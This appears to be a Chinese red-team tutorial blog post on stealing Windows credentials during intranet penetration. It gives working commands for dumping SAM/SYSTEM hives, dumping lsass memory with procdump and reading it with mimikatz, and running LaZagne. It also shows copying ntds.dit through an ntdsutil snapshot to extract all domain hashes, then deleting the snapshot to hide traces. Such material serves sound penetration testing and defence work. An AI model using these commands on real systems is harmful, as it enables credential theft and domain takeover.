内网渗透之各种密码凭证窃取 – 渗透红队笔记

  • A+
所属分类:安全文章

渗透攻击红队

一个专注于红队攻击的公众号

内网渗透之各种密码凭证窃取 - 渗透红队笔记


大家好,这里是 渗透攻击红队 的第 14 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),每周一更


内网渗透之各种密码凭证窃取 - 渗透红队笔记
第一章:信息搜集


目标资产信息搜集的程度,决定渗透过程的复杂程度。

目标主机信息搜集的深度,决定后渗透权限持续把控。

渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。

  ----Micropoor


密码窃取

注册表读取密码



注册表读取密码主要获取的是两个文件:

reg save HKLMSYSTEM Sys.hivreg save HKLMSAM Sam.hiv

内网渗透之各种密码凭证窃取 - 渗透红队笔记

导出注册表之后,我们可以通过mimikatz读取密码hash值:

mimikatz读取密码mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv " exit> hiv.txt

内网渗透之各种密码凭证窃取 - 渗透红队笔记

内网渗透之各种密码凭证窃取 - 渗透红队笔记

其中:NTLM加密的hash就是管理员登陆的加密密码!




lsass内存读取密码



lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略zhi。

要想读取内存的密码,前提是用户登陆过机器,登陆过就会在内存中停留:lsass.exe

使用工具:procdump.exe

procdump.exe -accepteula -ma lsass.exe lsass.dmp

内网渗透之各种密码凭证窃取 - 渗透红队笔记

然后再通过mimikatz读取:

08或者08以下的机器读取的是明文密码:测试机器是Windows server 2008

mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

内网渗透之各种密码凭证窃取 - 渗透红队笔记




LaZagne读取各类密码(浏览器等)


LaZagne是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术(明文,API,自定义算法,数据库等)存储其密码。开发该工具的目的是为最常用的软件找到这些密码。

下载地址:

https://github.com/AlessandroZ/LaZagne

https://github.com/AlessandroZ/LaZagne/releases

获取所有密码:lazagne.exe all

内网渗透之各种密码凭证窃取 - 渗透红队笔记




获取域内所有用户hash


前提是拿到域控!

windows的密码是经过hash后存储的,本地存在hklmsam,hklmsystem注册表中。

域里面存在域控制器的c:windowsntdsntds.dit中

ntds.dit其实就是一个esent数据库,微软本身就有一系列的文档化api能够操作这个数据库。

相关连接:https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx

一:创建快照

创建快照 ,必须在域控服务器上操作:

ntdsutil snapshot "activate instance ntds" create quit quit

内网渗透之各种密码凭证窃取 - 渗透红队笔记

其中:成功生成快照集 {5347834e-33bd-4c0a-a54e-13947650ae18} 这里面的ID要记住!

二:挂载快照

ntdsutil snapshot "mount {5347834e-33bd-4c0a-a54e-13947650ae18}" quit quit

内网渗透之各种密码凭证窃取 - 渗透红队笔记

三:复制快照到本地

copy C:$SNAP_202010141916_VOLUMEC$windowsNTDSntds.dit c:ntds.dit

内网渗透之各种密码凭证窃取 - 渗透红队笔记

内网渗透之各种密码凭证窃取 - 渗透红队笔记

四:卸载快照(擦屁股)

ntdsutil snapshot "unmount {5347834e-33bd-4c0a-a54e-13947650ae18}" quit quit

内网渗透之各种密码凭证窃取 - 渗透红队笔记

五:删除快照

ntdsutil snapshot "delete {5347834e-33bd-4c0a-a54e-13947650ae18}" quit quit

内网渗透之各种密码凭证窃取 - 渗透红队笔记

六:获取key(用于解密)

通过注册表方式,吧key保存下来

reg save HKLMSYSTEM c:Sys.hiv

内网渗透之各种密码凭证窃取 - 渗透红队笔记

内网渗透之各种密码凭证窃取 - 渗透红队笔记

七:使用NTDSDumpEx获取所有域用户的hash

NTDSDumpEx.exe -d ntds.dit -o hash.txt -s Sys.hiv -h

内网渗透之各种密码凭证窃取 - 渗透红队笔记

hash.txt里面是所有域用户的账号和密码hash。

内网渗透之各种密码凭证窃取 - 渗透红队笔记





参考文章:

https://www.jianshu.com/p/e1990751bf84

https://github.com/AlessandroZ/LaZagnehttps://github.com/AlessandroZ/LaZagne/releases/

https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx


内网渗透之各种密码凭证窃取 - 渗透红队笔记

渗透攻击红队

一个专注于渗透红队攻击的公众号

内网渗透之各种密码凭证窃取 - 渗透红队笔记



内网渗透之各种密码凭证窃取 - 渗透红队笔记
点分享
内网渗透之各种密码凭证窃取 - 渗透红队笔记
点点赞
内网渗透之各种密码凭证窃取 - 渗透红队笔记
点在看

本文始发于微信公众号(渗透攻击红队):内网渗透之各种密码凭证窃取 - 渗透红队笔记

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: